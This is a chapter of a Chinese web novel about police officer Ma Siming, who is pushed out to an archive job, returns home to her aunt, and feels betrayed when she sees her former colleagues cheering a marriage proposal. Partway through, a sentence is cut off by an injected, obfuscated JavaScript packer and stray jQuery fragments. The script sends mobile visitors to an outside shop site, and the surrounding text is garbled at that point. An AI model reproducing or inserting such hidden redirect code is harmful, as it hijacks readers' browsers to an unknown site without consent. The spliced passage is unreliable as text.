结案比办案要快得多,这一周的感觉尤为如此。
自从那天之后,杜宇就很少回组里,李越冬也不怎么说笑,办公室里静得只有翻动卷宗的沙沙声,和吕音手下键盘规律的敲击声。
马思明习惯性地走到窗边,上面还放着她值夜班时候用的养生壶,盖子上积了薄薄一层灰。旁边的薄荷干瘪地耷拉着脑袋,李越冬每次都想不起来给它浇水。
她拎起那盆植物,想了想还是放回去。
算了,反正今天就走了。
她一转身,一个熟悉的脑袋伸到她跟前,张晋的八字胡被笑容撑开。
“小马,别往心里去,你还年轻,机会多的是。”
“谢谢张哥。”她心头一暖。
“到时候我去你们馆里采访。”吕音的语气欢快。
“好啊。”
她洒脱地笑笑,心里默默盘算,档案馆,离警局真有一段距离呢。
阳光正好,马思明离开的时候只有他们两个人送了送,但也只送到大门口,说着下次再见的寒暄。
估计不会见了。
马思明最后转过头,深深看了一眼大门口的警徽,头也不回地走出去。
白天的城中村看着没那么狂野,她上楼的时候还在想,这里离新上班的地方还挺远,通勤还要坐地铁,说不定还得转公交,这里离公交站还有一段距离。
还有三餐,档案馆应该也有食堂,不知道合不合口,她饭卡里好像还有钱没花完呢,糟了,养生壶忘带回来了......
一个熟悉的身影倚在大门口,卷发快要蹭到低矮的门框,双手环胸,不耐烦地跺着脚。
“小姨?”她的语气交织着亲切和委屈,惊讶地上下打量,“你怎么在这?”
谭渝汐没好气地瞪着她,看到外甥女眼眶泛起泪花,面上顿时软下来。
“我不来能行吗?你还要瞒我瞒多久?上次那个傻大个都跟我说了。”
傻大个?
马思明挠挠脑袋,“是李越冬跟你说的吧。”
“不管什么越冬越春的。”谭渝汐习惯性撇撇嘴,“把门打开。”
马思明默默走在她身前,掏钥匙开门,锁有些钝,她拧了好几下。
室内比之前整洁许多,大概因为陈设破旧,屋里有种散不开的霉味。
谭渝汐站在门口,细细看着屋里的一切。马思明唯恐她生气,忙笑着打开窗户。
“出门忘了通风了。”
窗外没有风景,只有一堵墙,谭渝汐一眼就看出这是犄角旮旯的户型,心里一阵酸楚。
这个傻孩子。
“收拾一下,咱回家。”
她别开脸,麻利地替她卷起衣柜里的衣服。
“可是,我这个签过合同了,提前退租还得扣押金......”马思明为难道。
“我给你出。”
谭渝汐坚定地看着那张跟自己几分相似的脸,她早就把自己代入母亲的角色,她绝对不能容忍女儿受一点委屈。
“跟小姨回家。”
四环上依旧绿意盎然,偶尔经过几片枯黄的树林,谭渝汐踩下油门,生怕她触景生情。
“我早就跟你说过,一个女孩子,考什么不好,非得考警察,还要去一线那种苦地方,你以为那些男人就不玩弯弯绕绕的吗,你这个直肠子怎么玩得过人家?”
谭渝汐喋喋不休地数落着,她侧过头,看到马思明头朝向窗外,阳光打在半张面无表情的脸上。
“回去也好,继续跟我住,离你上班地方也近。”
她语气软着找补两句,只能听到副驾驶传来的轻微的叹息。
熟悉的电话铃声响起,谭渝汐瞥了一眼,是个陌生号码。她放缓了车速,一只手接起。
“你好,哪位?”
电话那头的声音断断续续,谭渝汐的脸色从疑惑慢慢变成愤怒。
“我知道了,我一会就去。”
马思明奇怪地看了她一眼,看着小姨那双秀气的眉毛越皱越紧,哗一声把电话挂断。
“怎么了?”
“有个学生出事了,我先送你回家。锅里还炖着羊排汤,你回家喝一碗再睡。”
“哦。”
这种只有陈述句的霸道安排,令马思明心里产生几分安全感,她没有多想,厌厌地窝在副驾驶。
她从小就是小姨带大的,算得上是单亲家庭。小姨一个人带孩子不容易,加上是高中老师,对她的控制欲自然而然强了些,也因为这个,她一上班就搬出去,免得跟长辈起摩擦。
谭渝汐送她到楼下,叮嘱了几句,熟练地倒车,快速驶出小区。马思明深吸一口气,闭眼感受着熟悉的温馨,似乎头顶的鸟叫声也是在欢迎她的回来。
这里原本是谭珠琳,她的妈妈,谭渝汐的姐姐的家。
马思明打开房门,走过玄关,室内铺木制地板,上面盖着斗鱼形状的地毯,那是小姨亲生钩织的杰作。电视墙旁边的角落满满当当,全是家人的照片。
她放下手中的包裹,小心翼翼走到跟前,满眼幸福地观看。
有她刚学会走路的,她正跌跌撞撞,从妈妈怀里奔向爸爸怀里。
有她在幼儿园表演节目的,她稚嫩的脸上涂着油彩,严肃唱着《花木兰》中的“谁说女子不如男”。
还有她四岁那年,一个跟妈妈长得一模一样的女人回来,抱着她就不撒手,妈妈只好把她放在小姨怀里,四个人拍了张全家福。
后来......
马思明的眼神变得落寞,看向正中间那张警徽的照片,她在随身的包里掏了又掏,把那枚锃光瓦亮的警徽挂起来。
后来,妈妈查案的时候,和爸爸一起遭遇车祸,意外去世了。
小姨收养了她,直到现在也一直单身,两个人相依为命。
她叹口气,走回自己的卧室,重重摔在床上。
柔软的床将她这半年来的一切挣扎和痛苦完全包裹,她觉得眼皮越来越重,自己的身体疯狂下坠。
这是个光怪陆离的世界,熟悉的脸逐渐远去,很多声音一个接着一个响起,洁白的花瓣散落着,树洞里,一些分泌物快速地包裹起某个物体。
马思明看到,自己的脸出现在完全黑暗的地方,她蜷缩着身子痛哭,紧接着,一把斧头被人挥舞,在黑暗中闪烁着光点。
她疯狂地跑啊跑,身后成群的人紧追不舍,一直追到悬崖尽头。身后的人推出一个领袖,一张黑色没有五官的脸,冷笑道:
“你做这些,没有一点意义!”
她的身体猛地一动,明晃晃的天花板闯入眼帘。
是梦。
马思明喘了几口粗气,喉头干得像口枯井,她的手在床上摸索出手机。
已经晚上八点了。
她蹭的一下坐起来。
我居然睡了这么久?
“小姨!你怎么不叫我啊?”
马思明半是埋怨半是撒娇,拖动着拖鞋走到客厅,回复她的只有电饭煲保温的提示音。
完了,没喝羊排汤。
她赶紧冲进厨房拯救食物,索性损失不算惨重,味道仍然鲜美。马思明盛出来一碗,一边眯着眼睛品味,一边点开微信消息通知,信息一条接一条,让她眼花缭乱。
置顶的“AKA东亚悍妇”的消息最多,时间显示在一个小时前。
“别忘了羊排汤。”
马思明无奈摇摇头,认命地拍过去照片,回复:“已严肃品尝,请首长放心!”
“首长,还需要给你留一碗吗?over!”
对方没有回复。
其他的消息大多来自队里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895017|212835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的同事,都对她的调任表示惊讶,马思明没有埋怨,礼貌性地跟他们回复,随后又跟吕音寒暄两句,开玩笑地约定下次一起吃饭,最后点进李越冬的聊天框。
“你跟我小姨说了我的事?”
“咋啦?”对方秒回。
马思明挑眉,开起了玩笑,夸张道,“她差点砸了邓龙办公室。”
“不可能。”对方信誓旦旦,“局长在我这呢。”
马思明一阵恶寒,把手机拿远了些,“你还有这种癖好?”
“......”
李越冬回复了个无语的表情。
马思明笑得在沙发上前仰后合,赶紧截下聊天记录发给吕音。
图片刚刚发过去,她又收到来自李越冬的两条视频。
视频显示在一个华贵的包厢,周围的人围成一圈,她眼熟的就有之前录过口供的郑安,视线一拐,邓龙就围在最角落里,满眼笑意地看着中间的人。
另一条长视频传来:
中间的男人一袭西装,单膝下跪,两只眼睛满含热泪,双手捧着一大束白色木兰花,最上面有个打开的丝绒礼盒,某一帧屏幕抖动,里面的钻戒折射出华彩。
同样站在中间的女人身着白裙,黑发散落在肩头,认真地看着这个为她掉眼泪的男人。
“佳姝,我这辈子做过的最正确的决定,就是参与六年前那起仙女湖案,虽然到现在都没有破案,但是让我遇到了你。”
周围一阵哄笑,张晋低声揶揄道:“我就说你小子当年是奔着泡妞去的。”
录制视频的李越冬憋笑憋的厉害,两位主角却丝毫没有受到影响,杜宇继续深情告白:
“六年来,我们几乎没有什么磕磕碰碰,我知道不是因为我多温柔,是因为你始终在包容我,就算工作太忙,没有时间见面,你也从来没有埋怨。”
“在大家眼里,我们俩像两个世界的人,你那么聪明,那么漂亮,那么优秀,总是把自己照顾得那么好,好到像是不需要我一样。”
他的眼神没有丝毫退缩,满是承载着诺言的坚定。
“虽然你从来没有说过,但是我看得出来,你很想要有一个家,一个不需要你这么懂事、这么包容,可以随意发脾气的家。”
林佳姝的目光闪烁了两下。
“从前我可能没有这个能力,但是今天,在我们的朋友和同事的见证下,我想告诉你,我愿意用一辈子的时间,和你一起组建你梦想中的家,你可以像个小孩一样,永远任性,永远不用长大。”
泪水划过他的脸庞,杜宇的声音激动到颤抖,但柔情万分:
“嫁给我,好吗?”
室内沉寂了片刻,所有人的目光都聚焦在准新娘美丽的脸庞上。
林佳姝点了点头,泪水滑落下来,砸到那束花上。现场的气氛瞬间到达顶峰,张晋像个猴子一样乱窜,扭开了纸制的礼花。
镜头摇摇晃晃,拍摄的主人也单手扭开一支,兴奋地跟着大喊。
杜宇起身,将林佳姝拥入怀中,温柔地为她戴上戒指,周围的人纷纷起哄道:
“亲一个!亲一个!”
两人对视一眼,脸上含泪带笑,镜头定格在此处。
马思明缓缓放下手机。
安静的住宅里,偶尔传来饮水机上水的声音。
她早该想到的,什么同事,什么搭档,当面对她和杜宇两个选择的时候,没有一个人坚定地站在她身边。
他们笑得那么开心,仿佛组建了一个全新的幸福世界,完全忘记了被抛弃的她。
玄关上还堆积着她的行李,她相依为命的至亲到现在没有回家,把她赶出警局的始作俑者升职加薪,获得事业爱情的双丰收。
经历过幸福的麻痹,她更加失望,所有复杂的情绪慢慢冷却,将她的心冰封。